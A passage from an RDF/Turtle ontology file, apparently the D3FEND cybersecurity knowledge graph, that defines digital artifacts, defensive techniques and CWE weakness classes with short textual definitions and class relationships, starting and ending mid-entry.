    d3f:may-query d3f:NetworkAgent ;
    d3f:synonym "Active Physical Layer Mapping" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-query ;
            owl:someValuesFrom d3f:NetworkAgent ],
        d3f:PhysicalLinkMapping ;
    owl:disjointWith d3f:DirectPhysicalLinkMapping .

d3f:AgentGroup a owl:Class ;
    rdfs:label "Agent Group" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Agent ],
        d3f:Group .

d3f:ApplicationConfigurationDatabaseRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Configuration Database Record" ;
    d3f:definition "A database record holding information used to configure the parameters and initial settings for an application." ;
    rdfs:subClassOf d3f:ApplicationConfiguration,
        d3f:ConfigurationDatabaseRecord .

d3f:ApplicationEnableEvent a owl:Class ;
    rdfs:label "Application Enable Event" ;
    d3f:definition "An event representing the enabling of an application, allowing it to be started or accessed when required." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationInstallationEvent ],
        d3f:ApplicationEvent .

d3f:ApplicationExceptionMonitoring a d3f:ApplicationExceptionMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Exception Monitoring" ;
    d3f:d3fend-id "D3-AEM" ;
    d3f:definition "Monitoring the failures of system counters and timers." ;
    d3f:kb-article """## How it works
Monitoring timer and counter failures or exceedances can reveal issues with the program or platform, and is important for both safety and security. It may also help identify tampering or malicious activity affecting the device or the processes it controls.""" ;
    d3f:kb-reference d3f:Reference-SecurePLCCodingPracticesTop20List ;
    d3f:monitors d3f:ApplicationFailureCountVariable,
        d3f:Log ;
    d3f:synonym "Application Failure Monitoring" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:ApplicationFailureCountVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:Log ],
        d3f:ApplicationPerformanceMonitoring .

d3f:ApplicationFailureCountVariable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Failure Count Variable" ;
    d3f:definition "Variables that keep count of various failures and errors." ;
    rdfs:comment "Differenct controller brands have different system tags to monitor various aspects, for example in Allen-Bradley you might use S:ERR, T4:0.DN, C5:0.OV; respectively System error, timer/counter status bits" ;
    rdfs:subClassOf d3f:RuntimeVariable .

d3f:ApplicationInstaller a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Installer" ;
    d3f:definition "An application installer is a user application designed to install, configure, and deploy another application." ;
    rdfs:subClassOf d3f:UserApplication .

d3f:ApplicationStopEvent a owl:Class ;
    rdfs:label "Application Stop Event" ;
    d3f:definition "An event capturing the cessation of an application’s operations, transitioning it to an inactive state and releasing any allocated resources." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationStartEvent ],
        d3f:ApplicationEvent .

d3f:ApplicationUpdateEvent a owl:Class ;
    rdfs:label "Application Update Event" ;
    d3f:definition "An event describing changes made to an application, such as updates, reconfigurations, or patch installations, while maintaining its presence on the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationInstallationEvent ],
        d3f:ApplicationEvent .

d3f:ArtifactServer a owl:Class ;
    rdfs:label "Artifact Server" ;
    d3f:definition "A digital artifact server provides access services to digital artifacts in a repository.  It provides an associated set of data management, search and access methods allowing application-independent access to the content." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Content_management>,
        <http://dbpedia.org/resource/Content_repository> ;
    rdfs:subClassOf d3f:WebServer .

d3f:ArtificialNeuralNetClassification a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Artificial Neural Network Classification" ;
    d3f:d3fend-annotation "Classification ANNs seek to classify an observation as belonging to some discrete class as a function of the inputs. The input features (independent variables) can be categorical or numeric types, however, we require a categorical feature as the dependent variable." ;
    d3f:d3fend-id "D3A-ANNC" ;
    d3f:kb-article """## References
ANN Classification. [Link](http://uc-r.github.io/ann_classification).""" ;
    rdfs:subClassOf d3f:Classification .

d3f:AsymmetricKey a owl:Class ;
    rdfs:label "Asymmetric Key" ;
    d3f:definition "Asymmetric keys are public and private keys, paired such that asymmetric (public-key) cryptography algorithms can be implemented using them. Public-key cryptography, or asymmetric cryptography, is any cryptographic system that uses pairs of keys: public keys that may be disseminated widely paired with private keys which are known only to the owner. There are two functions that can be achieved: using a public key to authenticate that a message originated with a holder of the paired private key; or encrypting a message with a public key to ensure that only the holder of the paired private key can decrypt it." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Public-key_cryptography> ;
    rdfs:subClassOf d3f:CryptographicKey .

d3f:AudioInputDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Audio Input Device" ;
    d3f:definition "Audio input devices allow a user to send audio info to a computer for processing, recording, or carrying out commands. Devices such as microphones allow users to speak to the computer in order to record a voice message or navigate software. Aside from recording, audio input devices are also used with speech recognition software." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Input_device#Voice_input_devices> ;
    rdfs:subClassOf d3f:InputDevice .

d3f:AuthenticationServiceApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Service Application" ;
    d3f:definition "A software application designed to verify the identity of users or devices." ;
    d3f:instructs d3f:AuthenticationService ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:instructs ;
            owl:someValuesFrom d3f:AuthenticationService ],
        d3f:ServiceApplication .

d3f:AuthorizationService a owl:Class ;
    rdfs:label "Authorization Service" ;
    d3f:definition "An authorization service ensures that the user is authorized to have access to a particular resource. Authorization can be done through role-based access control (RBAC) or list-based access control (LBAC)." ;
    rdfs:isDefinedBy <https://www.sciencedirect.com/referencework/9780122272400/encyclopedia-of-information-systems> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Authorization> ;
    rdfs:subClassOf d3f:NetworkService,
        d3f:ServiceApplicationProcess .

d3f:AverageAbsoluteDeviation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Average Absolute Deviation" ;
    d3f:d3fend-id "D3A-AAD" ;
    d3f:definition "The average absolute deviation (AAD) of a data set is the average of the absolute deviations from a central point." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Average absolute deviation. [Link](https://en.wikipedia.org/wiki/Average_absolute_deviation)""" ;
    rdfs:subClassOf d3f:Variability .

d3f:BayesianMethod a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Method" ;
    d3f:d3fend-id "D3A-BM" ;
    d3f:definition "Bayesian analysis is a statistical procedure which endeavors to estimate parameters of an underlying distribution based on the observed distribution." ;
    d3f:kb-article """## References
Wolfram MathWorld. (n.d.). Bayesian Analysis. [Link](https://mathworld.wolfram.com/BayesianAnalysis.html)""" ;
    rdfs:subClassOf d3f:StatisticalMethod .

d3f:BinarySegment a owl:Class ;
    rdfs:label "Binary Segment" ;
    d3f:definition "A binary segment is a partition of binary information within a larger binary object, which arranges a set of binary objects for its purpose.   For example, code, data, heap, and stack segments are segments of the binary information used by a process.  Code and data segments are also found in object files." ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:BitmapImage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bitmap Image" ;
    d3f:definition "A graphical image whose data is stored in a grid format." ;
    rdfs:subClassOf d3f:DigitalImage .

d3f:BlockDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Block Device" ;
    d3f:contains d3f:BootSector,
        d3f:Partition,
        d3f:PartitionTable ;
    d3f:definition """A block device (or block special file) provides buffered access to hardware devices, and provides some abstraction from their specifics.

IEEE Std 1003.1-2017: A file that refers to a device. A block special file is normally distinguished from a character special file by providing access to the device in a manner such that the hardware characteristics of the device are not visible.""" ;
    d3f:may-contain d3f:Volume ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Device_file#BLOCKDEV> ;
    rdfs:seeAlso <https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap03.html#tag_03_79> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:BootSector ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:PartitionTable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Partition ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:Volume ],
        d3f:DigitalInformationBearer ;
    skos:altLabel "Block Special File" .

d3f:BookReference a owl:Class ;
    rdfs:label "Book Reference" ;
    d3f:pref-label "Book" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:Browser a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Browser" ;
    d3f:definition "A web browser (commonly referred to as a browser) is a software application for retrieving, presenting, and traversing information resources on the World Wide Web. An information resource is identified by a Uniform Resource Identifier (URI/URL) and may be a web page, image, video or other piece of content. Hyperlinks present in resources enable users easily to navigate their browsers to related resources. Although browsers are primarily intended to use the World Wide Web, they can also be used to access information provided by web servers in private networks or files in file systems." ;
    d3f:may-contain d3f:BrowserExtension ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Web_browser> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/13376000-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:BrowserExtension ],
        d3f:UserApplication .

d3f:BuildTool a owl:Class ;
    rdfs:label "Build Tool" ;
    d3f:definition "A tool that automates the process of creating a software build and the associated processes including: compiling computer source code into binary code, packaging binary code, and running automated tests." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Build_automation> ;
    rdfs:subClassOf d3f:DeveloperApplication ;
    skos:altLabel "Build Automation Tool" .

d3f:BusMessage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bus Message" ;
    d3f:definition "A digital message potentially containing commands, telemetry, or status signals, encoded in a bus protocol and conveyed over a bus within one or more frames." ;
    rdfs:subClassOf d3f:DigitalMessage .

d3f:BusNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bus Network" ;
    d3f:definition "An electronic communication system that links multiple components through one shared transmission medium, together with the interface hardware and link-layer signalling that govern access to that medium." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Bus_(computing)> ;
    rdfs:subClassOf d3f:Network ;
    skos:altLabel "Bus",
        "Data Highway" .

d3f:BusNetworkFrame a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bus Network Frame" ;
    d3f:contained-by d3f:BusNetworkTraffic ;
    d3f:contains d3f:BusMessage ;
    d3f:definition "A network frame whose layout and timing follow a bus protocol, allowing data to be exchanged across the shared bus medium." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contained-by ;
            owl:someValuesFrom d3f:BusNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:BusMessage ],
        d3f:NetworkFrame ;
    skos:altLabel "Bus Frame" .

d3f:CWE-1025 a owl:Class ;
    rdfs:label "Comparison Using Wrong Factors" ;
    d3f:cwe-id "CWE-1025" ;
    d3f:definition "The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-697 .

d3f:CWE-1038 a owl:Class ;
    rdfs:label "Insecure Automated Optimizations" ;
    d3f:cwe-id "CWE-1038" ;
    d3f:definition "The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption." ;
    rdfs:subClassOf d3f:CWE-435,
        d3f:CWE-758 .

d3f:CWE-1071 a owl:Class ;
    rdfs:label "Empty Code Block" ;
    d3f:cwe-id "CWE-1071" ;
    d3f:definition "The source code contains a block that does not contain any code, i.e., the block is empty." ;
    rdfs:subClassOf d3f:CWE-1164 .

d3f:CWE-1177 a owl:Class ;
    rdfs:label "Use of Prohibited Code" ;
    d3f:cwe-id "CWE-1177" ;
    d3f:definition "The product uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1230 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information Through Metadata" ;
    d3f:cwe-id "CWE-1230" ;
    d3f:definition "The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information." ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CWE-125 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Out-of-bounds Read" ;
    d3f:cwe-id "CWE-125" ;
    d3f:definition "The product reads data past the end, or before the beginning, of the intended buffer." ;
    d3f:synonym "OOB read" ;
    d3f:weakness-of d3f:RawMemoryAccessFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:RawMemoryAccessFunction ],
        d3f:CWE-119 .

d3f:CWE-1250 a owl:Class ;
    rdfs:label "Improper Preservation of Consistency Between Independent Representations of Shared State" ;
    d3f:cwe-id "CWE-1250" ;
    d3f:definition "The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-1284 a owl:Class ;
    rdfs:label "Improper Validation of Specified Quantity in Input" ;
    d3f:cwe-id "CWE-1284" ;
    d3f:definition "The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-1285 a owl:Class ;
    rdfs:label "Improper Validation of Specified Index, Position, or Offset in Input" ;
    d3f:cwe-id "CWE-1285" ;
    d3f:definition "The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-1329 a owl:Class ;
    rdfs:label "Reliance on Component That is Not Updateable" ;
    d3f:cwe-id "CWE-1329" ;
    d3f:definition "The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs." ;
    rdfs:subClassOf d3f:CWE-1357,
        d3f:CWE-664 .

d3f:CWE-1357 a owl:Class ;
    rdfs:label "Reliance on Insufficiently Trustworthy Component" ;
    d3f:cwe-id "CWE-1357" ;
    d3f:definition "The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1392 a owl:Class ;
    rdfs:label "Use of Default Credentials" ;
    d3f:cwe-id "CWE-1392" ;
    d3f:definition "The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality." ;
    rdfs:subClassOf d3f:CWE-1391 .

d3f:CWE-160 a owl:Class ;
    rdfs:label "Improper Neutralization of Leading Special Elements" ;
    d3f:cwe-id "CWE-160" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-163 a owl:Class ;
    rdfs:label "Improper Neutralization of Multiple Trailing Special Elements" ;
    d3f:cwe-id "CWE-163" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-162 .

d3f:CWE-165 a owl:Class ;
    rdfs:label "Improper Neutralization of Multiple Internal Special Elements" ;
    d3f:cwe-id "CWE-165" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-164 .

d3f:CWE-179 a owl:Class ;
    rdfs:label "Incorrect Behavior Order: Early Validation" ;
    d3f:cwe-id "CWE-179" ;
    d3f:definition "The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification." ;
    rdfs:subClassOf d3f:CWE-20,
        d3f:CWE-696 .

d3f:CWE-185 a owl:Class ;
    rdfs:label "Incorrect Regular Expression" ;
    d3f:cwe-id "CWE-185" ;
    d3f:definition "The product specifies a regular expression in a way that causes data to be improperly matched or compared." ;
    rdfs:subClassOf d3f:CWE-697 .

d3f:CWE-205 a owl:Class ;
    rdfs:label "Observable Behavioral Discrepancy" ;
    d3f:cwe-id "CWE-205" ;
    d3f:definition "The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality." ;
    rdfs:subClassOf d3f:CWE-203 .

d3f:CWE-212 a owl:Class ;
    rdfs:label "Improper Removal of Sensitive Information Before Storage or Transfer" ;
    d3f:cwe-id "CWE-212" ;
    d3f:definition "The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-669 .

d3f:CWE-22 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" ;
    d3f:cwe-id "CWE-22" ;
    d3f:definition "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." ;
    d3f:synonym "Directory traversal",
        "Path traversal" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-668,
        d3f:CWE-706 .

d3f:CWE-223 a owl:Class ;
    rdfs:label "Omission of Security-relevant Information" ;
    d3f:cwe-id "CWE-223" ;
    d3f:definition "The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe." ;
    rdfs:subClassOf d3f:CWE-221 .

d3f:CWE-271 a owl:Class ;
    rdfs:label "Privilege Dropping / Lowering Errors" ;
    d3f:cwe-id "CWE-271" ;
    d3f:definition "The product does not drop privileges before passing control of a resource to an actor that does not have those privileges." ;
    rdfs:subClassOf d3f:CWE-269 .

d3f:CWE-282 a owl:Class ;
    rdfs:label "Improper Ownership Management" ;
    d3f:cwe-id "CWE-282" ;
    d3f:definition "The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-288 a owl:Class ;
    rdfs:label "Authentication Bypass Using an Alternate Path or Channel" ;
    d3f:cwe-id "CWE-288" ;
    d3f:definition "The product requires authentication, but the product has an alternate path or channel that does not require authentication." ;
    rdfs:subClassOf d3f:CWE-306 .

d3f:CWE-306 a owl:Class ;
    rdfs:label "Missing Authentication for Critical Function" ;
    d3f:cwe-id "CWE-306" ;
    d3f:definition "The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources." ;
    rdfs:subClassOf d3f:CWE-287 .

d3f:CWE-311 a owl:Class ;
    rdfs:label "Missing Encryption of Sensitive Data" ;
    d3f:cwe-id "CWE-311" ;
    d3f:definition "The product does not encrypt sensitive or critical information before storage or transmission." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-331 a owl:Class ;
    rdfs:label "Insufficient Entropy" ;
    d3f:cwe-id "CWE-331" ;
    d3f:definition "The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-346 a owl:Class ;
    rdfs:label "Origin Validation Error" ;
    d3f:cwe-id "CWE-346" ;
    d3f:definition "The product does not properly verify that the source of data or communication is valid." ;
    rdfs:subClassOf d3f:CWE-284,
        d3f:CWE-345 .

d3f:CWE-377 a owl:Class ;
    rdfs:label "Insecure Temporary File" ;
    d3f:cwe-id "CWE-377" ;
    d3f:definition "Creating and using insecure temporary files can leave application and system data vulnerable to attack." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-402 a owl:Class ;
    rdfs:label "Transmission of Private Resources into a New Sphere ('Resource Leak')" ;
    d3f:cwe-id "CWE-402" ;
    d3f:definition "The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product." ;
    d3f:synonym "Resource Leak" ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-441 a owl:Class ;
    rdfs:label "Unintended Proxy or Intermediary ('Confused Deputy')" ;
    d3f:cwe-id "CWE-441" ;
    d3f:definition "The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor." ;
    d3f:synonym "Confused Deputy" ;
    rdfs:subClassOf d3f:CWE-610 .

d3f:CWE-451 a owl:Class ;
    rdfs:label "User Interface (UI) Misrepresentation of Critical Information" ;
    d3f:cwe-id "CWE-451" ;
    d3f:definition "The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks." ;
    rdfs:subClassOf d3f:CWE-221,
        d3f:CWE-684 .

d3f:CWE-497 a owl:Class ;
    rdfs:label "Exposure of Sensitive System Information to an Unauthorized Control Sphere" ;
    d3f:cwe-id "CWE-497" ;
    d3f:definition "The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-507 a owl:Class ;
    rdfs:label "Trojan Horse" ;
    d3f:cwe-id "CWE-507" ;
    d3f:definition "The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator." ;
    rdfs:subClassOf d3f:CWE-506 .

d3f:CWE-514 a owl:Class ;
    rdfs:label "Covert Channel" ;
    d3f:cwe-id "CWE-514" ;
    d3f:definition "A covert channel is a path that can be used to transfer information in a way not intended by the system's designers." ;
    rdfs:subClassOf d3f:CWE-1229 .

d3f:CWE-602 a owl:Class ;
    rdfs:label "Client-Side Enforcement of Server-Side Security" ;
    d3f:cwe-id "CWE-602" ;
    d3f:definition "The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-653 a owl:Class ;
    rdfs:label "Improper Isolation or Compartmentalization" ;
    d3f:cwe-id "CWE-653" ;
    d3f:definition "The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions." ;
    d3f:synonym "Separation of Privilege" ;
    rdfs:subClassOf d3f:CWE-657,
        d3f:CWE-693 .

d3f:CWE-654 a owl:Class ;
    rdfs:label "Reliance on a Single Factor in a Security Decision" ;
    d3f:cwe-id "CWE-654" ;
    d3f:definition "A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality." ;
    d3f:synonym "Separation of Privilege" ;
    rdfs:subClassOf d3f:CWE-657,
        d3f:CWE-693 .

d3f:CWE-663 a owl:Class ;
    rdfs:label "Use of a Non-reentrant Function in a Concurrent Context" ;
    d3f:cwe-id "CWE-663" ;
    d3f:definition "The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state." ;
    rdfs:subClassOf d3f:CWE-662 .

d3f:CWE-671 a owl:Class ;
    rdfs:label "Lack of Administrator Control over Security" ;
    d3f:cwe-id "CWE-671" ;
    d3f:definition "The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator." ;
    rdfs:subClassOf d3f:CWE-657 .

d3f:CWE-694 a owl:Class ;
    rdfs:label "Use of Multiple Resources with Duplicate Identifier" ;
    d3f:cwe-id "CWE-694" ;
    d3f:definition "The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required." ;
    rdfs:subClassOf d3f:CWE-573,
        d3f:CWE-99 .

d3f:CWE-749 a owl:Class ;
    rdfs:label "Exposed Dangerous Method or Function" ;
    d3f:cwe-id "CWE-749" ;
    d3f:definition "The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-756 a owl:Class ;
    rdfs:label "Missing Custom Error Page" ;
    d3f:cwe-id "CWE-756" ;
    d3f:definition "The product does not return custom error pages to the user, possibly exposing sensitive information." ;
    rdfs:subClassOf d3f:CWE-755 .

d3f:CWE-763 a owl:Class ;
    rdfs:label "Release of Invalid Pointer or Reference" ;
    d3f:cwe-id "CWE-763" ;
    d3f:definition "The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly." ;
    rdfs:subClassOf d3f:CWE-404 .

d3f:CWE-786 a owl:Class ;
    rdfs:label "Access of Memory Location Before Start of Buffer" ;
    d3f:cwe-id "CWE-786" ;
    d3f:definition "The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer." ;
    rdfs:subClassOf d3f:CWE-119 .

d3f:CWE-791 a owl:Class ;
    rdfs:label "Incomplete Filtering of Special Elements" ;
    d3f:cwe-id "CWE-791" ;
    d3f:definition "The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-790 .

d3f:CWE-792 a owl:Class ;
    rdfs:label "Incomplete Filtering of One or More Instances of Special Elements" ;
    d3f:cwe-id "CWE-792" ;
    d3f:definition "The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-791 .

d3f:CWE-795 a owl:Class ;
    rdfs:label "Only Filtering Special Elements at a Specified Location" ;
    d3f:cwe-id "CWE-795" ;
    d3f:definition "The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-791 .

d3f:CWE-799 a owl:Class ;
    rdfs:label "Improper Control of Interaction Frequency" ;
    d3f:cwe-id "CWE-799" ;
    d3f:definition "The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests." ;
    d3f:synonym "Brute force",
        "Insufficient anti-automation" ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-825 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Expired Pointer Dereference" ;
    d3f:cwe-id "CWE-825" ;
    d3f:definition "The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid." ;
    d3f:synonym "Dangling pointer" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-119,
        d3f:CWE-672 .

d3f:CWE-909 a owl:Class ;
    rdfs:label "Missing Initialization of Resource" ;
    d3f:cwe-id "CWE-909" ;
    d3f:definition "The product does not initialize a critical resource." ;
    rdfs:subClassOf d3f:CWE-665 .

d3f:CWE-91 a owl:Class ;
    rdfs:label "XML Injection (aka Blind XPath Injection)" ;
    d3f:cwe-id "CWE-91" ;
    d3f:definition "The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system." ;
    rdfs:subClassOf d3f:CWE-74 .

d3f:CWE-912 a owl:Class ;
    rdfs:label "Hidden Functionality" ;
    d3f:cwe-id "CWE-912" ;
    d3f:definition "The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators." ;
    rdfs:subClassOf d3f:CWE-684 .

d3f:CWE-914 a owl:Class ;
    rdfs:label "Improper Control of Dynamically-Identified Variables" ;
    d3f:cwe-id "CWE-914" ;
    d3f:definition "The product does not properly restrict reading from or writing to dynamically-identified variables." ;
    rdfs:subClassOf d3f:CWE-913,
        d3f:CWE-99 .

d3f:CWE-916 a owl:Class ;
    rdfs:label "Use of Password Hash With Insufficient Computational Effort" ;
    d3f:cwe-id "CWE-916" ;
    d3f:definition "The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive." ;
    rdfs:subClassOf d3f:CWE-327,
        d3f:CWE-328 .

d3f:CWE-922 a owl:Class ;
    rdfs:label "Insecure Storage of Sensitive Information" ;
    d3f:cwe-id "CWE-922" ;
    d3f:definition "The product stores sensitive information without properly limiting read or write access by unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CallStack a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Call Stack" ;
    d3f:contains d3f:StackFrame ;
    d3f:definition "In computer science, a call stack is a stack data structure that stores information about the active subroutines of a computer program. This kind of stack is also known as an execution stack, program stack, control stack, run-time stack, or machine stack, and is often shortened to just \"the stack\". Although maintenance of the call stack is important for the proper functioning of most software, the details are normally hidden and automatic in high-level programming languages. Many computer instruction sets provide special instructions for manipulating stacks." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Call_stack> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:StackFrame ],
        d3f:DigitalInformationBearer .

d3f:CertificateRotation a d3f:CertificateRotation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate Rotation" ;
    d3f:d3fend-id "D3-CERO" ;
    d3f:definition "Certificate rotation involves replacing digital certificates and their private keys to maintain cryptographic integrity and trust, mitigating key compromise risks and ensuring continuous secure communications." ;
    d3f:kb-article """## How it works

